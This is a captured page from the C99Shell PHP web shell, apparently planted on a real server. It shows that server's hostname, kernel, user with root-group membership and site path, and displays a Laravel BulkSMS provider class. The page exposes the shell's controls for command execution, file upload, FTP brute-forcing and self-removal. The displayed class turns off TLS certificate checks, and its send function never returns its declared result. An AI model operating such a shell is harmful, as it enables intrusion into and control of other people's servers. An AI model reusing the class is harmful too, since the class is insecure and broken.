!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/sms.picotech.app/public_html/app/SmsProvider/   drwxr-xr-x
Free 28.56 GB of 117.98 GB (24.2%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     BulkSMS.php (3.77 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\SmsProvider;

use 
App\Models\MessageLog;
use 
Illuminate\Support\Facades\Log;

class 
BulkSMS {

    private 
$user_name;
    private 
$password;
    private 
$to_array;
    private 
$body;
    private 
$url='https://api.bulksms.com/v1/messages?auto-unicode=true&longMessageMaxParts=30';
    private 
$send_fail=[];

    public function 
__construct($username$password$bulksms_status)
    {
        
$this->user_name=$username;
        
$this->password=$password;
        
$this->bulksms_status=$bulksms_status;

    }

    public function 
setTo($to){
        
$this->to_array=$to;
        return 
$this;
    }

    public function 
setBody($body){
        
$this->body=$body;
        return 
$this;
    }
    public function 
setQueue($queue){
        
$this->queue=$queue;
        return 
$this;
    }
    public function 
setFrom($from)
    {
        
$this->from_number $from;
        return 
$this;
    }
    public function 
setMessage($message){
        
$this->message=$message;
        return 
$this;
    }
    public function 
setType($response){
        
$this->sms_type=$response;
        return 
$this;
    }

    public function 
send(){

        if (!isset(
$this->bulksms_status) || $this->bulksms_status !='active'){
            throw new 
\Exception('This provider is not active. Please contact with the administrator');
        }

        
$generatedTo=[];
        foreach (
$this->to_array as $key=>$item){
            if (
$this->sms_type && $this->sms_type=='inbox') {
                
$type 'inbox';
            }else{
                
$type 'sent';
            }
            if(
$this->queue){
                
$this->message_log=MessageLog::updateOrCreate([
                    
'to'=>$item,
                    
'from'=>$this->from_number,
                    
'body'=>$this->body,
                    
'message_id'=>$this->message->id,
                    
'customer_id'=>$this->message->customer_id,
                    
'type'=>'sent',
                ],[
'status'=>'succeed','queue_id'=>$this->queue->id]);
            }else{
                
$this->message_log=MessageLog::create([
                    
'to'=>$item,
                    
'from'=>$this->from_number,
                    
'body'=>$this->body,
                    
'message_id'=>$this->message->id,
                    
'customer_id'=>$this->message->customer_id,
                    
'type'=> $type,
                    
'status'=>'succeed'
                
]);
            }
            
$generatedTo[]=[
                
'to'=>$item,
                
'body'=>$this->body
            
];
        }
        
$messages = array($generatedTo);
        
$result $this->send_messagejson_encode($messages), $this->url$this->user_name$this->password );

        if (
$result['http_status'] != 201) {
            throw new 
\Exception("Error sending: " . ($result['error'] ? $result['error'] : "HTTP status ".$result['http_status']."; Response was " .$result['server_response']));
        } else {
           return 
$result['server_response'];
            
// Use json_decode($result['server_response']) to work with the response further
        
}

    }

    function 
send_message $post_body$url$username$password):array {

        
$headers = array(
            
'Content-Type:application/json',
            
'Authorization:Basic 'base64_encode("$username:$password")
        );

        
$parameters $post_body;

        
$client = new \GuzzleHttp\Client(['verify' => false]);
        
$response $client->post($url, [
            
'body' => $parameters,
            
'headers' => $headers,
        ]);
        
$responseString $response->getBody()->getContents();
        
Log::info($responseString);

    }

    public function 
getSendFail(){
        return 
$this->send_fail;
    }

    private function 
setSendFail($sendFailArray){
        
$this->send_fail[]=$sendFailArray;
    }


}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0057 ]--